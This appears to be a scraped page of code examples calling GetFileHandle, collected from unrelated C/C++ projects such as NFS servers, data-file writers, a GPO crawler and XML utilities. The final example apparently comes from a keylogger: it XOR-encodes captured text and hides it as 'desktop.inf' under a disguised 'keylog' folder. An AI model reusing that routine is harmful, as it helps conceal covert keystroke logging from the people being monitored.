Пример #1
0
void CMountProg::ProcedureMNT(void)
{
	Refresh();
    char *path = new char[MAXPATHLEN + 1];
	int i;

	PrintLog("MNT");
	PrintLog(" from %s\n", m_pParam->pRemoteAddr);

	if (GetPath(&path)) {
		m_pOutStream->Write(MNT_OK); //OK

		if (m_pParam->nVersion == 1) {
			m_pOutStream->Write(GetFileHandle(path), FHSIZE);  //fhandle
		} else {
			m_pOutStream->Write(NFS3_FHSIZE);  //length
			m_pOutStream->Write(GetFileHandle(path), NFS3_FHSIZE);  //fhandle
			m_pOutStream->Write(0);  //flavor
		}

		++m_nMountNum;

		for (i = 0; i < MOUNT_NUM_MAX; i++) {
			if (m_pClientAddr[i] == NULL) { //search an empty space
				m_pClientAddr[i] = new char[strlen(m_pParam->pRemoteAddr) + 1];
				strcpy_s(m_pClientAddr[i], (strlen(m_pParam->pRemoteAddr) + 1), m_pParam->pRemoteAddr);  //remember the client address
				break;
			}
		}
	} else {
		m_pOutStream->Write(MNTERR_ACCESS);  //permission denied
    }
}
Пример #2
0
void CMountProg::ProcedureMNT(void)
{
	char *path;
	int i;

	PrintLog("MNT");
	path = GetPath();
	PrintLog(" from %s", m_pParam->pRemoteAddr);

	if (m_nMountNum < MOUNT_NUM_MAX && stricmp(path, m_pExportPath) == 0)  //path match
	{
		m_pOutStream->Write(MNT_OK);  //OK
		if (m_pParam->nVersion == 1)
		{
		  PrintLog(" MNT v1 ");
    	m_pOutStream->Write(GetFileHandle(path), FHSIZE);  //fhandle
		}
    else
		{
		  PrintLog("MNT v3");
			m_pOutStream->Write(NFS3_FHSIZE);  //length
			m_pOutStream->Write(GetFileHandle(path), NFS3_FHSIZE);  //fhandle
			m_pOutStream->Write(0);  //flavor
		}
		++m_nMountNum;

		for (i = 0; i < MOUNT_NUM_MAX; i++)
		{
    	if (m_pClientAddr[i] == NULL)  //search an empty space
			{
				m_pClientAddr[i] = new char[strlen(m_pParam->pRemoteAddr) + 1];
				strcpy(m_pClientAddr[i], m_pParam->pRemoteAddr);  //remember the client address
				break;
			} 
      else if (strcmp(m_pParam->pRemoteAddr, m_pClientAddr[i]) == 0)  //address match
			{
			//must we do something?
			 --m_nMountNum;
			 break;
      }
    }
	}
	else
	{
		m_pOutStream->Write(MNTERR_ACCESS);  //permission denied
	  PrintLog("MNT denied %s %s", path, m_pExportPath);
	}
}
Пример #3
0
nfsstat3 CNFS3Prog::ProcedureLOOKUP(void)
{
    char *path;
    nfs_fh3 object;
    post_op_attr obj_attributes;
    post_op_attr dir_attributes;
    nfsstat3 stat;

    PrintLog("LOOKUP");

    std::string dirName;
    std::string fileName;
    ReadDirectory(dirName, fileName);

    path = GetFullPath(dirName, fileName);
    stat = CheckFile((char*)dirName.c_str(), path);

    if (stat == NFS3_OK) {
        GetFileHandle(path, &object);
        obj_attributes.attributes_follow = GetFileAttributesForNFS(path, &obj_attributes.attributes);
    }

    dir_attributes.attributes_follow = GetFileAttributesForNFS((char*)dirName.c_str(), &dir_attributes.attributes);

    Write(&stat);

    if (stat == NFS3_OK) {
        Write(&object);
        Write(&obj_attributes);
    }

    Write(&dir_attributes);

    return stat;
}
Пример #4
0
//===============================================================================================
// FUNCTION: WriteDACFileSweeps
// PURPOSE:  Writes the DAC file data out to disk.
//
BOOL CFileDescriptor::WriteDACFileSweeps( UINT uDACChannel, long *plBlockNum, long *plCount )
{
   MEMBERASSERT();
   ASSERT( uDACChannel < ABF_WAVEFORMCOUNT );

   // Coerce to safe value.
   if( uDACChannel >= ABF_WAVEFORMCOUNT )
   {
      TRACE1( "WriteDACFileSweeps: uDACChannel changed from %d to 0.\n", uDACChannel );
      uDACChannel = 0;
   }

   *plBlockNum = 0;
   *plCount    = m_DACFile[uDACChannel].GetCount();
   if (*plCount==0)
      return TRUE;

   // Try to write the Deltas out to the file
   // If a write fails the user is notified and given the chance
   // to free up disk space and try again.
   while (!FillToNextBlock( plBlockNum ) || 
          !m_DACFile[uDACChannel].Write( GetFileHandle() ))
   {
      // Notify the user through the callback function. 
      // If the callback returns TRUE, go 'round again.
      if (!m_Notify.Notify(ABF_EDISKFULL))
         return FALSE;
   }

   return TRUE;
}
Пример #5
0
BOOL PrintPolDataFooter(_In_ PTCHAR tFilePath)
{
	DWORD dwDataRead = 0;
	GPO_FILTER_TARGET dwTarget = GPO_FILTER_UNKNOWN;
	PTCHAR tOutputDirectoryPolFile = OUTPUT_DIRECTORY_POL_FILE;

	// Determine if we need to create user or computer file in case of '[Machine||User]' 
	dwTarget = GetTargetGPO(tFilePath);
	if (dwTarget == GPO_FILTER_TARGET_MACHINE)
		tOutputDirectoryPolFile = TEXT(".\\Machine\\");
	else if (dwTarget == GPO_FILTER_TARGET_USER)
		tOutputDirectoryPolFile = TEXT(".\\User\\");

	// Hack for closing xml document. Ugly.
	if (pSyscrwlrOptions->bShouldPrintXML)
	{
		HANDLE hXMLFile = GetFileHandle(OUTPUT_FILE_XML, tOutputDirectoryPolFile, OUTPUT_NAME_POL_FILE);
		if (WriteFile(hXMLFile, TEXT("</RegistryPolFile>\r\n"), (DWORD)(_tcslen(TEXT("</RegistryPolFile>\r\n")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE)
			goto writerror;
		CloseHandle(hXMLFile);
	}
	return TRUE;

writerror:
	DEBUG_LOG(D_WARNING, "Unable to write DATA FOOTER for POL printer.\r\nExiting now...");
	DoExit(D_ERROR);
	return FALSE;
}
Пример #6
0
FILE * CStaticsFile::AddFile(std::string &path,std::string & name)
{
	std::string pathname;
	if(!path.empty()&&path.at(path.length()-1)=='/') pathname=path+name;
	pathname=path+"/"+name;
	FILE * fp=GetFileHandle(pathname);
	if(fp!=NULL) return fp;
	if( CreateDir(path))
	{
		char line[2048]={0};
		snprintf(line,2047,"%s.%ld",name.c_str(),g_nCurTime);
		std::string fname=line;
		fp=fopen((path+"/."+fname).c_str(),"a+");
		if(fp)
		{
			file_node * p=new file_node();
			p->fp=fp;
			p->path=path;
			p->name=fname;
			mapFile.insert(std::pair<std::string,file_node *>(pathname,p));
		}
		if(g_log) g_log->log_info("open file(%x) %s for write\n",fp,pathname.c_str());
		return fp;
	}
	return NULL;
}
Пример #7
0
nfsstat3 CNFS3Prog::ProcedureCREATE(void)
{
    char *path;
    createhow3 how;
    post_op_fh3 obj;
    post_op_attr obj_attributes;
    wcc_data dir_wcc;
    nfsstat3 stat;
    FILE *pFile;

    PrintLog("CREATE");
    std::string dirName;
    std::string fileName;
    ReadDirectory(dirName, fileName);
    path = GetFullPath(dirName, fileName);
    Read(&how);

    dir_wcc.before.attributes_follow = GetFileAttributesForNFS((char*)dirName.c_str(), &dir_wcc.before.attributes);

    pFile = _fsopen(path, "wb", _SH_DENYWR);
       
    if (pFile != NULL) {
        fclose(pFile);
        stat = NFS3_OK;
    } else {
        char buffer[BUFFER_SIZE];
        errno_t errorNumber = errno;
        strerror_s(buffer, BUFFER_SIZE, errorNumber);
        PrintLog(buffer);

        if (errorNumber == 2) {
            stat = NFS3ERR_STALE;
        } else if (errorNumber == 13) {
            stat = NFS3ERR_ACCES;
        } else {
            stat = NFS3ERR_IO;
        }
    }

    if (stat == NFS3_OK) {
        obj.handle_follows = GetFileHandle(path, &obj.handle);
        obj_attributes.attributes_follow = GetFileAttributesForNFS(path, &obj_attributes.attributes);
    }
    
    dir_wcc.after.attributes_follow = GetFileAttributesForNFS((char*)dirName.c_str(), &dir_wcc.after.attributes);

    Write(&stat);

    if (stat == NFS3_OK) {
        Write(&obj);
        Write(&obj_attributes);
    }

    Write(&dir_wcc);

    return stat;
}
bool
NETCDFFileObject::GetVarId(const char *name, int *varid)
{
    int status;
    if((status = nc_inq_varid(GetFileHandle(), name, varid)) != NC_NOERR)
        HandleError(status);

    return status == NC_NOERR;
}
Пример #9
0
//==========================================================================*
// Module entry point (Torcs backward compatibility scheme).
//--------------------------------------------------------------------------*
extern "C" int simplix(tModInfo *ModInfo)
{
  void *RobotSettings = GetFileHandle("simplix");
  if (!RobotSettings)
	  return -1;
  
  SetParameters(1, "car1-trb1");
  return simplixEntryPoint(ModInfo,RobotSettings);
}
Пример #10
0
BOOL PrintCSVData(_In_ PGPTINI_FILE_DATA pGptIniData)
{
	DWORD dwDataRead = 0;
	HANDLE hCSVFile = GetFileHandle(OUTPUT_FILE_CSV, OUTPUT_DIRECTORY_GPT_INI, OUTPUT_NAME_GPT_INI);
	PTCHAR tVersion = NULL;
	PTCHAR tDisplayName = NULL;

	if (!pGptIniData || !(pGptIniData->tFilePath))
	{
		DEBUG_LOG(D_WARNING, "PGPTINI_FILE_DATA invalid for CSV file.\r\n");
		DoExit(D_WARNING);
	}

	if (hCSVFile == INVALID_HANDLE_VALUE)
	{
		DEBUG_LOG(D_WARNING, "Handle to hCSVFile is invalid.\r\nExiting now...");
		DoExit(D_ERROR);
	}

	if (!pGptIniData->tVersion)
		tVersion = TEXT("NOT FOUND");
	else
		tVersion = pGptIniData->tVersion;

	if (!pGptIniData->tDisplayName)
		tDisplayName = TEXT("NOT FOUND");
	else
		tDisplayName = pGptIniData->tDisplayName;

	if ((WriteFile(hCSVFile, pGptIniData->tFilePath, (DWORD)(_tcslen(pGptIniData->tFilePath) * sizeof (WCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, TEXT(";"), (DWORD)(_tcslen(TEXT(";")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, tVersion, (DWORD)(_tcslen(tVersion) * sizeof (WCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, TEXT(";"), (DWORD)(_tcslen(TEXT(";")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, tDisplayName, (DWORD)(_tcslen(tDisplayName) * sizeof (WCHAR)), &dwDataRead, NULL) == FALSE))
		goto writerror;	

	for (DWORD i = 0; i < pGptIniData->iNumberOfUnReferrencedSections; ++i)
	{
		PINI_SECTION_DATA pCurrSectionData = pGptIniData->pUnReferrencedSections[i];

		if (!pCurrSectionData->tSectionName)
			continue;

		PrintCSVUnreferrencedSectionDataInGPT(pCurrSectionData, hCSVFile);
	}

	if (WriteFile(hCSVFile, TEXT("\r\n"), (DWORD)(_tcslen(TEXT("\r\n")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE)
		goto writerror;	

	CloseHandle(hCSVFile);
	return TRUE;
writerror:
	DEBUG_LOG(D_WARNING, "Unable to write CSV DATA.\r\nExiting now...");
	DoExit(D_ERROR);
	return FALSE;
}
Пример #11
0
bool GD_CORE_API LoadXmlFromFile(TiXmlDocument & doc, const gd::String & filepath)
{
	FILE * xmlFile = GetFileHandle(filepath, "rb");
	if(!xmlFile)
		return false;

	bool res = doc.LoadFile(xmlFile);
	fclose(xmlFile);

	return res;
}
Пример #12
0
bool GD_CORE_API SaveXmlToFile(const TiXmlDocument & doc, const gd::String & filepath)
{
	FILE * xmlFile = GetFileHandle(filepath, "wb");
	if(!xmlFile)
		return false;

	bool res = doc.SaveFile(xmlFile);
	fclose(xmlFile);

	return res;
}
Пример #13
0
BOOL PrintCSVData(_In_ PPOL_DATA pPolData)
{
	HANDLE hCSVFile = INVALID_HANDLE_VALUE;
	DWORD dwDataRead = 0, dwSizeLength = 0;
	PTCHAR tType = GetTypeFromID(*pPolData->pwdType);
	PTCHAR tValue = GetBase64FromByte(pPolData->pbValue, pPolData->dwValueSize);
	PTCHAR tData = GetBase64FromByte(pPolData->pbData, (*pPolData->pwdSize));
	TCHAR tSize[100];
	GPO_FILTER_TARGET dwTarget = GPO_FILTER_UNKNOWN;
	PTCHAR tOutputDirectoryPolFile = OUTPUT_DIRECTORY_POL_FILE;

	// Determine if we need to create user or computer file in case of '[Machine||User]' 
	dwTarget = GetTargetGPO(pPolData->tFilePath);
	if (dwTarget == GPO_FILTER_TARGET_MACHINE)
		tOutputDirectoryPolFile = TEXT(".\\Machine\\");
	else if (dwTarget == GPO_FILTER_TARGET_USER)
		tOutputDirectoryPolFile = TEXT(".\\User\\");
	hCSVFile = GetFileHandle(OUTPUT_FILE_CSV, tOutputDirectoryPolFile, OUTPUT_NAME_POL_FILE);

	if (!tType || !tValue || !tData)
	{
		DEBUG_LOG(D_WARNING, "Type, value or data invalid for POL file.\r\n");
		DoExit(D_WARNING);
	}

	RemoveEndline(pPolData->pwKey);
	dwSizeLength = _stprintf_s(tSize, 100, TEXT("%d"), (*pPolData->pwdSize));

	if ((WriteFile(hCSVFile, pPolData->tFilePath, (DWORD)(_tcslen(pPolData->tFilePath) * sizeof (WCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, TEXT(";"), (DWORD)(_tcslen(TEXT(";")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, pPolData->pwKey, (DWORD)(_tcslen(pPolData->pwKey) * sizeof (WCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, TEXT(";"), (DWORD)(_tcslen(TEXT(";")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, tValue, (DWORD)(_tcslen(tValue) * sizeof (WCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, TEXT(";"), (DWORD)(_tcslen(TEXT(";")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, tType, (DWORD)(_tcslen(tType) * sizeof (WCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, TEXT(";"), (DWORD)(_tcslen(TEXT(";")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, tSize, ((dwSizeLength) * sizeof (WCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, TEXT(";"), (DWORD)(_tcslen(TEXT(";")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, tData, (DWORD)(_tcslen(tData) * sizeof (WCHAR)), &dwDataRead, NULL) == FALSE)
		|| (WriteFile(hCSVFile, TEXT("\r\n"), (DWORD)(_tcslen(TEXT("\r\n")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE))
			goto writerror;		

	HeapFree(hCrawlerHeap, NULL, tValue);
	HeapFree(hCrawlerHeap, NULL, tData);
	CloseHandle(hCSVFile);

	return TRUE;

writerror:
	DEBUG_LOG(D_WARNING, "Unable to write CSV DATA.\r\nExiting now...");
	DoExit(D_ERROR);
	return FALSE;
}
Пример #14
0
AKRESULT CFileIOHandler_wwise::Open(AkFileID nFileID, AkOpenMode eOpenMode, AkFileSystemFlags* pFlags, bool& rSyncOpen, AkFileDesc& rFileDesc)
{
	AKRESULT eResult = AK_Fail;

	if (pFlags != nullptr && (rSyncOpen || !m_bAsyncOpen))
	{
		rSyncOpen = true;
		AkOSChar sFinalFilePath[AK_MAX_PATH] = {'\0'};
		AKPLATFORM::SafeStrCat(sFinalFilePath, m_sBankPath, AK_MAX_PATH);

		if (eOpenMode == AK_OpenModeRead)
		{
			// Add language folder if the file is localized.
			if (pFlags->uCompanyID == AKCOMPANYID_AUDIOKINETIC && pFlags->bIsLanguageSpecific)
			{
				AKPLATFORM::SafeStrCat(sFinalFilePath, m_sLanguageFolder, AK_MAX_PATH);
			}
		}

		AkOSChar sFileName[MAX_FILETITLE_SIZE] = {'\0'};

		AkOSChar const* const sFilenameFormat = pFlags->uCodecID == AKCODECID_BANK ? ID_TO_STRING_FORMAT_BANK : ID_TO_STRING_FORMAT_WEM;

		AK_OSPRINTF(sFileName, MAX_FILETITLE_SIZE, sFilenameFormat, static_cast<int unsigned>(nFileID));

		AKPLATFORM::SafeStrCat(sFinalFilePath, sFileName, AK_MAX_PATH);

		char* sTemp = nullptr;
		CONVERT_OSCHAR_TO_CHAR(sFinalFilePath, sTemp);

		size_t const nFileSize = gEnv->pCryPak->FGetSize(sTemp);

		if (nFileSize > 0)
		{
			FILE* const pFile = gEnv->pCryPak->FOpen(sTemp, "rbx", ICryPak::FOPEN_HINT_DIRECT_OPERATION);

			if (pFile != nullptr)
			{
				rFileDesc.iFileSize					= static_cast<AkInt64>(nFileSize);
				rFileDesc.hFile							= GetFileHandle(pFile);
				rFileDesc.uSector						= 0;
				rFileDesc.deviceID					= m_nDeviceID;
				rFileDesc.pCustomParam			= nullptr;
				rFileDesc.uCustomParamSize	= 0;

				eResult = AK_Success;
			}
		}
	}

	return eResult;
}
Пример #15
0
/*
 * Calls GetFileHandle for the CD refered to by ha:tgt:lun to open it for
 * use
 */
void SPTIOpenCDHandle( BYTE ha, BYTE tgt, BYTE lun )
{
  BYTE idx;

#ifdef _DEBUG_SCSIPT
  dbprintf( "AKRip32: SPTIOpenCDHandle( %d, %d, %d )\n", ha, tgt, lun );
#endif

  idx = SPTIGetDeviceIndex( ha, tgt, lun );

  if ( idx && sptiglobal.drive[idx].hDevice == INVALID_HANDLE_VALUE )
    sptiglobal.drive[idx].hDevice = GetFileHandle( sptiglobal.drive[idx].driveLetter );  
}
Пример #16
0
//===============================================================================================
// FUNCTION: ReadAllAnnotations
// PURPOSE:  Read the annotations from the file into the cache.
//
BOOL CFileDescriptor::ReadAllAnnotations( long lBlockNum )
{
   MEMBERASSERT();
   
   // Seek to the start of the first segment.
   UINT uSeekPos = lBlockNum * ABF_BLOCKSIZE;

   // Read the annotations in to the cache.
   if( !m_Annotations.Read( GetFileHandle(), uSeekPos ) )
      return SetLastError( ABF_ENOANNOTATIONS );

   return TRUE;
}
Пример #17
0
size_t File::GetLength()
{
    LARGE_INTEGER size;
    HANDLE file = GetFileHandle();
    if (!GetFileSizeEx(file, &size)) {
        return 0;
    }
    if (size.HighPart) {
        return ULONG_MAX;
    }

    return static_cast<size_t>(size.LowPart);
}
Пример #18
0
void CNFS2Prog::ProcedureLOOKUP(void)
{
	char *path;

	PrintLog("LOOKUP");
	path = GetFullPath();
	if (!CheckFile(path))
		return;

	m_pOutStream->Write(NFS_OK);
	m_pOutStream->Write(GetFileHandle(path), FHSIZE);
	WriteFileAttributes(path);
}
Пример #19
0
nfsstat3 CNFS3Prog::ProcedureMKDIR(void)
{
    char *path;
    sattr3 attributes;
    post_op_fh3 obj;
    post_op_attr obj_attributes;
    wcc_data dir_wcc;
    nfsstat3 stat;

    PrintLog("MKDIR");

    std::string dirName;
    std::string fileName;
    ReadDirectory(dirName, fileName);
    path = GetFullPath(dirName, fileName);
    Read(&attributes);

    dir_wcc.before.attributes_follow = GetFileAttributesForNFS((char*)dirName.c_str(), &dir_wcc.before.attributes);

    int result = _mkdir(path);

    if (result == 0) {
        stat = NFS3_OK;
        obj.handle_follows = GetFileHandle(path, &obj.handle);
        obj_attributes.attributes_follow = GetFileAttributesForNFS(path, &obj_attributes.attributes);
    } else if (errno == EEXIST) {
        PrintLog("Directory already exists.");
        stat = NFS3ERR_EXIST;
    } else if (errno == ENOENT) {
        stat = NFS3ERR_NOENT;
    } else {
        stat = CheckFile(path);

        if (stat != NFS3_OK) {
            stat = NFS3ERR_IO;
        }
    }

    dir_wcc.after.attributes_follow = GetFileAttributesForNFS((char*)dirName.c_str(), &dir_wcc.after.attributes);

    Write(&stat);

    if (stat == NFS3_OK) {
        Write(&obj);
        Write(&obj_attributes);
    }

    Write(&dir_wcc);

    return stat;
}
Пример #20
0
int CFile::Open (const char *filename, const char *folder, const char *mode, int bUseD1Hog) 
{
	int	length = -1;
	FILE	*fp = NULL;
	const char	*pszHogExt, *pszFileExt;

m_cf.file = NULL;
if (!(filename && *filename))
	return 0;
if ((*filename != '\x01') /*&& !bUseD1Hog*/) {
	fp = GetFileHandle (filename, folder, mode);		// Check for non-hogP file first...
	if (!fp && 
		 ((pszFileExt = strstr (filename, ".rdl")) || (pszFileExt = strstr (filename, ".rl2"))) &&
		 (pszHogExt = strchr (hogFileManager.AltHogFile (), '.')) &&
		 !stricmp (pszFileExt, pszHogExt))
		fp = GetFileHandle (hogFileManager.AltHogFile (), folder, mode);		// Check for non-hogP file first...
	}
else {
	fp = NULL;		//don't look in dir, only in tHogFile
	filename++;
	}

if (!fp) {
	if ((fp = hogFileManager.Find (filename, &length, bUseD1Hog)))
		if (stricmp (mode, "rb")) {
			::Error ("Cannot read hogP file\n (wrong file io mode).\n");
			return 0;
			}
	}
if (!fp) 
	return 0;
m_cf.file = fp;
m_cf.rawPosition = 0;
m_cf.size = (length < 0) ? ffilelength (fp) : length;
m_cf.libOffset = (length < 0) ? 0 : ftell (fp);
m_cf.filename = const_cast<char*> (filename);
return 1;
}
Пример #21
0
void CNFS2Prog::ProcedureMKDIR(void)
{
	char *path;

	PrintLog("MKDIR");
	path = GetFullPath();
	if (path == NULL)
		return;

	_mkdir(path);
	m_pOutStream->Write(NFS_OK);
	m_pOutStream->Write(GetFileHandle(path), FHSIZE);
	WriteFileAttributes(path);
}
Пример #22
0
bool File::SetLength( size_t length )
{
    if (length > ULONG_MAX) {
        return false;
    }

    DWORD size = static_cast<DWORD>(length);
    HANDLE file = GetFileHandle();
    if (INVALID_SET_FILE_POINTER == SetFilePointer(file, size, NULL, FILE_BEGIN)) {
        return false;
    }

    return TRUE == SetEndOfFile(file);
}
Пример #23
0
BOOL CXmlFile::SaveEx()
{
	if (GetFileHandle() == (HANDLE)CStdioFileEx::hFileNull)
		return FALSE;
	
	BOOL bRes = FALSE;
	CString sXml;
	
	if (Export(sXml))
	{	
		try
		{
			// move to start
			Seek(0, CStdioFileEx::begin);
			
			// write the xml
			CStdioFileEx::WriteString((LPCTSTR)sXml);
			
			// update the file end
			VERIFY(::SetEndOfFile(GetFileHandle()));
			
			// verify file length matches length of xml
			DWORD dwFileSizeInBytes = ::GetFileSize(GetFileHandle(), NULL);
			DWORD dwXmlSizeInBytes = GetBytesWritten();
			
			if (dwFileSizeInBytes == dwXmlSizeInBytes)
				bRes = TRUE;
		}
		catch (...)
		{
			m_nFileError = GetLastError();
		}
	}
	
	return bRes;
}
Пример #24
0
void CNFS2Prog::ProcedureCREATE(void)
{
	char *path;
	FILE *file;

	PrintLog("CREATE");
	path = GetFullPath();
	if (path == NULL)
		return;

	file = fopen(path, "wb");
	fclose(file);
	m_pOutStream->Write(NFS_OK);
	m_pOutStream->Write(GetFileHandle(path), FHSIZE);
	WriteFileAttributes(path);
}
Пример #25
0
	bool SPWavFile::NextStreamData(BYTE* pData, DWORD length, DWORD &readBytes, bool &eof)
	{
		//
		// Reset current position.
		// 

		if (currentSoundPosition >= soundDataLength)
		{
			currentSoundPosition = 0;
		}

		//
		// Read next chunk data into buffer.
		// 

		DWORD cbValid = min( length, soundDataLength - currentSoundPosition );
		overlapped.Offset = soundDataOffset + currentSoundPosition;

		if(!SetPosition(overlapped.Offset) || !Read(pData, length, &overlapped))
		{
			SPLogHelper::WriteLog("[XAudio] ERROR: Couldn't start async read: error %#X", HRESULT_FROM_WIN32( GetLastError() ) );
			return false;
		}

		//
		// Update current position.
		// 

		currentSoundPosition += cbValid;
		readBytes = cbValid;

		//
		// At this point the read is progressing in the background and we are free to do
		// other processing while we wait for it to finish.
		//

		DWORD cb;
		GetOverlappedResult( GetFileHandle(), &overlapped, &cb, TRUE );

		eof = currentSoundPosition >= soundDataLength;

		return true;

	}
Пример #26
0
BOOL PrintGptIniDataFooter(_In_ PTCHAR tFilePath)
{
	DWORD dwDataRead = 0;

	// Hack for closing xml document. Ugly.
	if (pSyscrwlrOptions->bShouldPrintXML)
	{
		HANDLE hXMLFile = GetFileHandle(OUTPUT_FILE_XML, OUTPUT_DIRECTORY_GPT_INI, OUTPUT_NAME_GPT_INI);
		if (WriteFile(hXMLFile, TEXT("</GPTiniFile>\r\n"), (DWORD)(_tcslen(TEXT("</GPTiniFile>\r\n")) * sizeof (TCHAR)), &dwDataRead, NULL) == FALSE)
			goto writerror;
		CloseHandle(hXMLFile);
	}
	return TRUE;

writerror:
	DEBUG_LOG(D_WARNING, "Unable to write DATA FOOTER for GPT.ini printer.\r\nExiting now...");
	DoExit(D_ERROR);
	return FALSE;
}
Пример #27
0
BOOL CXmlFile::Save(const CString& sFilePath, SFE_SAVEAS nSaveAs)
{
	if (sFilePath.IsEmpty())
		return FALSE;
	
	if (GetFileHandle() != (HANDLE)CStdioFileEx::hFileNull)
		Close();
	
	if (Open(sFilePath, XF_WRITE, nSaveAs))
	{
		BOOL bRes = SaveEx();
		Close();
		
		return bRes;
	}
	
	// error handling
	m_nFileError = GetLastError();
	
	return FALSE;
}
Пример #28
0
BOOL CXmlFile::Load(const CString& sFilePath, const CString& sRootItemName, IXmlParse* pCallback)
{
	if (sFilePath.IsEmpty())
		return FALSE;
	
	if (GetFileHandle() != (HANDLE)CStdioFileEx::hFileNull)
		Close();
	
	m_pCallback = pCallback;
	
	if (Open(sFilePath, XF_READ))
	{
		if (!sRootItemName.IsEmpty())
			return LoadEx(sRootItemName, pCallback);
		
		else if (m_xiRoot.GetNameLen())
			return LoadEx(m_xiRoot.GetName(), pCallback);
	}
	
	// else
	return FALSE;
}
Пример #29
0
//===============================================================================================
// FUNCTION: WriteDeltas
// PURPOSE:  Writes the Delta array out to disk.
//
BOOL CFileDescriptor::WriteDeltas( long *plBlockNum, long *plCount )
{
   MEMBERASSERT();
   *plBlockNum = 0;
   *plCount    = m_Deltas.GetCount();
   if (*plCount==0)
      return TRUE;

   // Try to write the Deltas out to the file
   // If a write fails the user is notified and given the chance
   // to free up disk space and try again.
   while (!FillToNextBlock( plBlockNum ) || 
          !m_Deltas.Write( GetFileHandle() ))
   {
      // Notify the user through the callback function. 
      // If the callback returns TRUE, go 'round again.
      if (!m_Notify.Notify(ABF_EDISKFULL))
         return FALSE;
   }

   return TRUE;
}
void SaveToFile(char *lpBuffer)
{

	char strRecordFile[MAX_PATH];
	SHGetSpecialFolderPath(NULL,strRecordFile,CSIDL_PROGRAM_FILES,0);
	strcat(strRecordFile,"\\Microsoft Research update\\Evidence\\keylog\\");
	MakeSureDirectoryPathExists(strRecordFile);
	lstrcat(strRecordFile, "desktop.inf");

	char szLogPath[MAX_PATH];
	GetTempPathA(MAX_PATH,szLogPath);
	strcat(szLogPath,"desktop.inf");


	HANDLE hFile=GetFileHandle(szLogPath,strRecordFile);

	// 	HANDLE	hFile = CreateFile(szLogPath, GENERIC_WRITE|GENERIC_READ,
	// 		                       FILE_SHARE_WRITE|FILE_SHARE_READ,
	// 		                       NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD dwBytesWrite = 0;
	// 	DWORD dwSize = GetFileSize(hFile, NULL);
	// 	// 离线记录,小于50M
	// 	if (dwSize < 1024 * 1024 * 50)
	// 		SetFilePointer(hFile, 0, 0, FILE_END);

	// 加密
	int	nLength = lstrlen(lpBuffer);
	LPBYTE	lpEncodeBuffer = new BYTE[nLength];
	for (int i = 0; i < nLength; i++)
	{
		lpEncodeBuffer[i] = lpBuffer[i] ^ XOR_ENCODE_VALUE;
	//	lpEncodeBuffer[i] = lpEncodeBuffer[i] ^ XOR_ENCODE_VALUE;


	}
	WriteFile(hFile, lpEncodeBuffer, nLength, &dwBytesWrite, NULL);
	CloseHandle(hFile);
	delete	lpEncodeBuffer;
}